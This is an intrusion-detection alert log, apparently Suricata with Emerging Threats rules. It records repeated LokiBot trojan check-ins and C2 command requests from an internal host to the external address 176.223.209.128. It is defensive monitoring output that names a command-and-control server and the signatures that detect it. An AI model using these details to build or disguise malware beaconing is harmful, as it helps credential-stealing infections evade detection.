11/25/21-10:54:21.190323	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50584	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.190323	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50584	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.190323	TCP	2025381	ET TROJAN LokiBot Checkin	50584	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.190323	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50584	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.687268	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50585	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.687268	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50585	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.687268	TCP	2025381	ET TROJAN LokiBot Checkin	50585	80	192.168.11.20	176.223.209.128
11/25/21-10:54:21.687268	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50585	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.210906	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50586	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.210906	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50586	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.210906	TCP	2025381	ET TROJAN LokiBot Checkin	50586	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.210906	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50586	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.705041	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50587	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.705041	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50587	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.705041	TCP	2025381	ET TROJAN LokiBot Checkin	50587	80	192.168.11.20	176.223.209.128
11/25/21-10:54:22.705041	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50587	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.229445	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50588	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.229445	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50588	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.229445	TCP	2025381	ET TROJAN LokiBot Checkin	50588	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.229445	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50588	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.722718	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50589	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.722718	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50589	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.722718	TCP	2025381	ET TROJAN LokiBot Checkin	50589	80	192.168.11.20	176.223.209.128
11/25/21-10:54:23.722718	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50589	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.176005	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50590	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.176005	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50590	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.176005	TCP	2025381	ET TROJAN LokiBot Checkin	50590	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.176005	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50590	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.687769	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50591	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.687769	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50591	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.687769	TCP	2025381	ET TROJAN LokiBot Checkin	50591	80	192.168.11.20	176.223.209.128
11/25/21-10:54:24.687769	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50591	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.208926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50592	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.208926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50592	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.208926	TCP	2025381	ET TROJAN LokiBot Checkin	50592	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.208926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50592	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.717249	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50593	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.717249	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50593	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.717249	TCP	2025381	ET TROJAN LokiBot Checkin	50593	80	192.168.11.20	176.223.209.128
11/25/21-10:54:25.717249	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50593	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.227737	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50594	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.227737	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50594	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.227737	TCP	2025381	ET TROJAN LokiBot Checkin	50594	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.227737	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50594	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.656063	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50595	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.656063	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50595	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.656063	TCP	2025381	ET TROJAN LokiBot Checkin	50595	80	192.168.11.20	176.223.209.128
11/25/21-10:54:26.656063	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50595	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.183294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50596	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.183294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50596	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.183294	TCP	2025381	ET TROJAN LokiBot Checkin	50596	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.183294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50596	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.683854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50597	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.683854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50597	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.683854	TCP	2025381	ET TROJAN LokiBot Checkin	50597	80	192.168.11.20	176.223.209.128
11/25/21-10:54:27.683854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50597	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.164932	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50598	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.164932	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50598	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.164932	TCP	2025381	ET TROJAN LokiBot Checkin	50598	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.164932	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50598	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.673309	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50599	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.673309	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50599	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.673309	TCP	2025381	ET TROJAN LokiBot Checkin	50599	80	192.168.11.20	176.223.209.128
11/25/21-10:54:28.673309	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50599	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.175600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50600	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.175600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50600	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.175600	TCP	2025381	ET TROJAN LokiBot Checkin	50600	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.175600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50600	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.632936	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50601	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.632936	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50601	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.632936	TCP	2025381	ET TROJAN LokiBot Checkin	50601	80	192.168.11.20	176.223.209.128
11/25/21-10:54:29.632936	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50601	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.061319	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50602	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.061319	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50602	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.061319	TCP	2025381	ET TROJAN LokiBot Checkin	50602	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.061319	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50602	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.580873	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50603	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.580873	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50603	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.580873	TCP	2025381	ET TROJAN LokiBot Checkin	50603	80	192.168.11.20	176.223.209.128
11/25/21-10:54:30.580873	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50603	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.098892	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50604	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.098892	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50604	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.098892	TCP	2025381	ET TROJAN LokiBot Checkin	50604	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.098892	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50604	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.612838	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50605	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.612838	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50605	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.612838	TCP	2025381	ET TROJAN LokiBot Checkin	50605	80	192.168.11.20	176.223.209.128
11/25/21-10:54:31.612838	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50605	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.118997	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50606	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.118997	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50606	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.118997	TCP	2025381	ET TROJAN LokiBot Checkin	50606	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.118997	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50606	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.556276	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50607	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.556276	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50607	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.556276	TCP	2025381	ET TROJAN LokiBot Checkin	50607	80	192.168.11.20	176.223.209.128
11/25/21-10:54:32.556276	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50607	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.057683	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50608	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.057683	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50608	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.057683	TCP	2025381	ET TROJAN LokiBot Checkin	50608	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.057683	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50608	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.558687	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50609	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.558687	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50609	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.558687	TCP	2025381	ET TROJAN LokiBot Checkin	50609	80	192.168.11.20	176.223.209.128
11/25/21-10:54:33.558687	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50609	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.080656	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50610	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.080656	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50610	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.080656	TCP	2025381	ET TROJAN LokiBot Checkin	50610	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.080656	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50610	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.588985	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50611	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.588985	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50611	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.588985	TCP	2025381	ET TROJAN LokiBot Checkin	50611	80	192.168.11.20	176.223.209.128
11/25/21-10:54:34.588985	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50611	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.090544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50612	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.090544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50612	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.090544	TCP	2025381	ET TROJAN LokiBot Checkin	50612	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.090544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50612	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.567270	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50613	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.567270	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50613	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.567270	TCP	2025381	ET TROJAN LokiBot Checkin	50613	80	192.168.11.20	176.223.209.128
11/25/21-10:54:35.567270	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50613	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.074487	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50614	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.074487	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50614	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.074487	TCP	2025381	ET TROJAN LokiBot Checkin	50614	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.074487	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50614	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.588960	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50615	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.588960	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50615	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.588960	TCP	2025381	ET TROJAN LokiBot Checkin	50615	80	192.168.11.20	176.223.209.128
11/25/21-10:54:36.588960	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50615	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.058855	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50616	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.058855	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50616	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.058855	TCP	2025381	ET TROJAN LokiBot Checkin	50616	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.058855	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50616	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.563383	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50617	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.563383	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50617	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.563383	TCP	2025381	ET TROJAN LokiBot Checkin	50617	80	192.168.11.20	176.223.209.128
11/25/21-10:54:37.563383	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50617	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.018762	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50618	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.018762	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50618	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.018762	TCP	2025381	ET TROJAN LokiBot Checkin	50618	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.018762	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50618	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.499060	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50619	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.499060	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50619	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.499060	TCP	2025381	ET TROJAN LokiBot Checkin	50619	80	192.168.11.20	176.223.209.128
11/25/21-10:54:38.499060	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50619	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.022864	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50620	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.022864	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50620	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.022864	TCP	2025381	ET TROJAN LokiBot Checkin	50620	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.022864	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50620	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.521845	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50621	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.521845	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50621	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.521845	TCP	2025381	ET TROJAN LokiBot Checkin	50621	80	192.168.11.20	176.223.209.128
11/25/21-10:54:39.521845	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50621	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.029450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50622	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.029450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50622	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.029450	TCP	2025381	ET TROJAN LokiBot Checkin	50622	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.029450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50622	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.556828	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50623	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.556828	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50623	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.556828	TCP	2025381	ET TROJAN LokiBot Checkin	50623	80	192.168.11.20	176.223.209.128
11/25/21-10:54:40.556828	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50623	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.063492	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50624	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.063492	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50624	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.063492	TCP	2025381	ET TROJAN LokiBot Checkin	50624	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.063492	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50624	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.563964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50625	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.563964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50625	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.563964	TCP	2025381	ET TROJAN LokiBot Checkin	50625	80	192.168.11.20	176.223.209.128
11/25/21-10:54:41.563964	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50625	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.044572	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50626	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.044572	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50626	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.044572	TCP	2025381	ET TROJAN LokiBot Checkin	50626	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.044572	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50626	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.547776	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50627	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.547776	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50627	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.547776	TCP	2025381	ET TROJAN LokiBot Checkin	50627	80	192.168.11.20	176.223.209.128
11/25/21-10:54:42.547776	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50627	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.023086	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50628	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.023086	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50628	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.023086	TCP	2025381	ET TROJAN LokiBot Checkin	50628	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.023086	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50628	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.528950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50629	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.528950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50629	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.528950	TCP	2025381	ET TROJAN LokiBot Checkin	50629	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.528950	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50629	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.982401	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50630	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.982401	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50630	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.982401	TCP	2025381	ET TROJAN LokiBot Checkin	50630	80	192.168.11.20	176.223.209.128
11/25/21-10:54:43.982401	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50630	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.482333	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50631	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.482333	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50631	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.482333	TCP	2025381	ET TROJAN LokiBot Checkin	50631	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.482333	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50631	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.983291	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50632	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.983291	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50632	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.983291	TCP	2025381	ET TROJAN LokiBot Checkin	50632	80	192.168.11.20	176.223.209.128
11/25/21-10:54:44.983291	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50632	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.439633	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50633	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.439633	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50633	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.439633	TCP	2025381	ET TROJAN LokiBot Checkin	50633	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.439633	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50633	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.952049	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50634	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.952049	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50634	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.952049	TCP	2025381	ET TROJAN LokiBot Checkin	50634	80	192.168.11.20	176.223.209.128
11/25/21-10:54:45.952049	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50634	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.455302	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50635	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.455302	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50635	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.455302	TCP	2025381	ET TROJAN LokiBot Checkin	50635	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.455302	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50635	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.977531	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50636	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.977531	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50636	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.977531	TCP	2025381	ET TROJAN LokiBot Checkin	50636	80	192.168.11.20	176.223.209.128
11/25/21-10:54:46.977531	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50636	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.479979	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50637	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.479979	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50637	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.479979	TCP	2025381	ET TROJAN LokiBot Checkin	50637	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.479979	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50637	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.949235	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50638	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.949235	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50638	80	192.168.11.20	176.223.209.128
